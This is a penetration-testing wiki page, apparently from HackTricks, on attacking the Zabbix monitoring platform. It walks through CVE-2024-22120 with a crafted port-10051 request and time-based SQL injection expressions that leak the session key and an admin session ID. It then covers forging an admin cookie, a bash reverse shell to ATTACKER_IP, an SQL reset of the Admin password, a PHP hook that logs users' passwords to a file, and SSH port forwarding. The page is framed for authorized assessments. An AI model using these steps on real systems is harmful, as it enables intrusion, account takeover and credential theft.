zabbix.md (10848B)
1 --- 2 title: "Zabbix Security" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/zabbix.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/zabbix.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Zabbix Security 14 15 ## Overview 16 17 Zabbix is a monitoring platform with a web frontend (often behind Apache or Nginx), a server/trapper that commonly listens on TCP/10051, and agents that commonly listen on TCP/10050. During an authorized assessment, you may encounter:<sup>[[5]](#references)</sup> 18 19 - Web UI: HTTP(S) virtual host like zabbix.example.tld 20 - Zabbix server port: 10051/tcp (messages commonly use JSON inside `ZBXD\x01` framing) 21 - Zabbix agent port: 10050/tcp 22 23 The `zbx_session` implementation used by the affected versions and public PoC is a Base64-encoded compact JSON object containing fields such as `sessionid`, `serverCheckResult`, `serverCheckTime`, and `sign`. Treat the precise fields, canonicalization, and signing algorithm as version-specific and confirm them against the deployed frontend code.<sup>[[1]](#references)[[2]](#references)</sup> 24 25 ## zbx_session cookie internals 26 27 The vulnerable-version workflow documented by the public research computes the cookie as follows: 28 29 - data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>} 30 - sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators) 31 - Final cookie: Base64(JSON_with_sign) 32 33 If you recover the corresponding global `session_key` and a still-valid administrative `sessionid`, this format can be used to forge an administrative cookie offline. A different frontend version or invalidated session may require a different structure.<sup>[[1]](#references)[[2]](#references)</sup> 34 35 ## CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log 36 37 Affected versions (as publicly documented): 38 39 - 6.0.0–6.0.27, 6.4.0–6.4.12, and the 7.0 prereleases from 7.0.0alpha1 through 7.0.0beta1. The vendor issue records fixes in 6.0.28rc1, 6.4.13rc1, and 7.0.0beta2.<sup>[[3]](#references)[[4]](#references)</sup> 40 41 Vulnerability summary: 42 43 - When a configured script execution is recorded in the Zabbix server audit log, the `clientip` value reaches an SQL statement without the necessary sanitization, enabling time-based blind SQL injection.<sup>[[3]](#references)[[4]](#references)</sup> 44 - The vendor's reproduction uses a crafted `command` request to port 10051 with an authenticated session, a host that the user can access, and a script that the user is permitted to run. Zabbix's CVSS assessment classifies the prerequisite as high privileges, while NVD scores it as low privileges; test the actual role, host, and script permissions rather than assuming either classification applies to every installation.<sup>[[3]](#references)[[4]](#references)</sup> 45 46 Preconditions and discovery tips: 47 48 - `sessionid`: Decode the authenticated user's `zbx_session` cookie when its version uses the JSON format above. A guest identifier is usable only when guest access is enabled and the guest is actually issued a session with the required access. 49 - `hostid`: Obtain an accessible host identifier from frontend requests such as **Monitoring → Hosts**. Values such as `10084` are lab-specific examples, not universal defaults. 50 - `scriptid`: Verify the scripts exposed to the current user through the menu or frontend requests. Values such as `1`, `2`, and `3` are lab-specific; authorization depends on the script's user group, host group, host-access requirement, and scope.<sup>[[6]](#references)</sup> 51 52 ### Exploitation flow 53 54 1) Trigger audit insert with SQLi in clientip 55 56 - Connect to TCP/10051 and send a Zabbix framed message with request="command" including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated. 57 58 Minimal message (JSON body) fields: 59 60 ```json 61 { 62 "request": "command", 63 "sid": "<low-priv-sessionid>", 64 "scriptid": "1", 65 "clientip": "' + (SQL_PAYLOAD) + '", 66 "hostid": "10084" 67 } 68 ``` 69 70 For these versions, the full wire format is `ZBXD\x01` followed by an 8-byte little-endian payload length and the UTF-8 JSON body. You can use pwntools or a socket client to construct it.<sup>[[5]](#references)</sup> 71 72 2) Time-bruteforce secrets via conditional sleep 73 74 Use conditional expressions to leak hex-encoded secrets one character at a time by measuring response time. The following expressions target the MySQL-compatible schema used in the referenced lab and PoC; adjust functions and schema names for the target database and version:<sup>[[1]](#references)[[2]](#references)</sup> 75 76 - Leak global session_key from config: 77 78 ```sql 79 (select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END) 80 ``` 81 82 - Leak a candidate administrative session ID from `sessions` (the `userid=1` assumption is lab-specific): 83 84 ```sql 85 (select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END) 86 ``` 87 88 Notes: 89 90 - charset: 32 hex chars [0-9a-f] 91 - Pick `T_TRUE` much greater than `T_FALSE` (for example, 10 versus 1) and measure wall-clock time per attempt 92 - Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work 93 94 3) Forge Admin cookie 95 96 For the cookie format described above, once you have: 97 98 - session_key: 32-hex from config.session_key 99 - `admin_sessionid`: a current 32-hex session identifier for the intended administrative account 100 101 Compute: 102 103 - sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact)) 104 - zbx_session = Base64(JSON_with_sign) 105 106 Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access. 107 108 ### Ready-made tooling 109 110 - Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.<sup>[[1]](#references)[[2]](#references)</sup> 111 - Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute. 112 113 ## RCE via Script execution (post-Admin) 114 115 Administrative frontend access alone does not guarantee operating-system command execution. The user must be able to create or run an applicable global script, its **Execute on** target must run commands, and the corresponding component must permit them. Agent execution normally requires an appropriate `AllowKey=system.run[...]`; proxy execution requires its remote-command setting; and new Zabbix 7.0 installations set `EnableGlobalScripts=0` for server-side global scripts by default. When those prerequisites are present, script execution can yield code execution on monitored systems, often as the `zabbix` account on Linux.<sup>[[1]](#references)[[6]](#references)</sup> 116 117 - Quick check: run id to confirm user context 118 - Reverse shell example: 119 120 ```bash 121 bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' 122 ``` 123 124 TTY upgrade (Linux): 125 126 ```bash 127 script /dev/null -c bash 128 # background with Ctrl+Z, then on attacker terminal: 129 stty raw -echo; fg 130 reset 131 ``` 132 133 In the referenced lab, direct database access also allowed the administrative password to be changed to the shown bcrypt value for `zabbix`: 134 135 ```sql 136 UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin'; 137 ``` 138 139 This is a destructive, schema-specific post-compromise technique: back up the affected row, verify the username column and account, and expect MFA or external authentication to remain an additional barrier. Prefer creating a temporary, audited recovery account through supported administration procedures when possible. 140 141 ## Credential capture via login hook (post-exploitation) 142 143 If file write is already possible on the web server, the referenced lab temporarily added the following logging snippet to `/usr/share/zabbix/index.php` around the form-login branch. This is an intrusive post-compromise credential-capture technique: use it only with explicit authorization, protect the output, and restore the original file immediately after testing.<sup>[[1]](#references)</sup> 144 145 ```php 146 // login via form 147 if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) { 148 $user = $_POST['name'] ?? '??'; 149 $password = $_POST['password'] ?? '??'; 150 $f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f); 151 CSessionHelper::set('sessionid', CWebUser::$data['sessionid']); 152 } 153 ``` 154 155 Users authenticate normally; read `/dev/shm/creds.txt` afterward and remove the hook. File paths and login code differ across packages and versions. 156 157 ## Pivoting to internal services 158 159 Where SSH key authentication and TCP forwarding are accepted for the compromised account, `-N -L` may allow forwarding to loopback-only services (for example, CI/CD on port 8111) even when the account is not intended for interactive shells. An `/usr/sbin/nologin` shell, `AllowTcpForwarding`, `DisableForwarding`, `PermitOpen`, key restrictions, or PAM policy can prevent this path, so verify the SSH policy rather than assuming it works:<sup>[[1]](#references)</sup> 160 161 ```bash 162 ssh -i key user@host -N -L 8111:127.0.0.1:8111 163 ``` 164 165 See more tunneling patterns in: Check [Tunneling and Port Forwarding](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/tunneling-and-port-forwarding.md). 166 167 ## Operational tips 168 169 - Validate that `scriptid` is permitted for the current role; guest access does not imply permission to run a script 170 - A timing attack can be slow; cache a recovered administrative session only while it remains valid 171 - The JSON sent to 10051 must be framed with the ZBXD\x01 header and a little-endian length 172 173 ## References 174 175 - [1] [HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot](https://0xdf.gitlab.io/2025/10/09/htb-watcher.html) 176 - [2] [CVE-2024-22120-RCE toolkit (PoC scripts)](https://github.com/W01fh4cker/CVE-2024-22120-RCE) 177 - [3] [Zabbix ZBX-24505 — Time Based SQL Injection in Zabbix Server Audit Log](https://support.zabbix.com/browse/ZBX-24505) 178 - [4] [NVD — CVE-2024-22120](https://nvd.nist.gov/vuln/detail/CVE-2024-22120) 179 - [5] [Zabbix protocol header documentation](https://www.zabbix.com/documentation/current/en/manual/appendix/protocols/header_datalen) 180 - [6] [Zabbix documentation — Global scripts](https://www.zabbix.com/documentation/current/en/manual/web_interface/frontend_sections/alerts/scripts)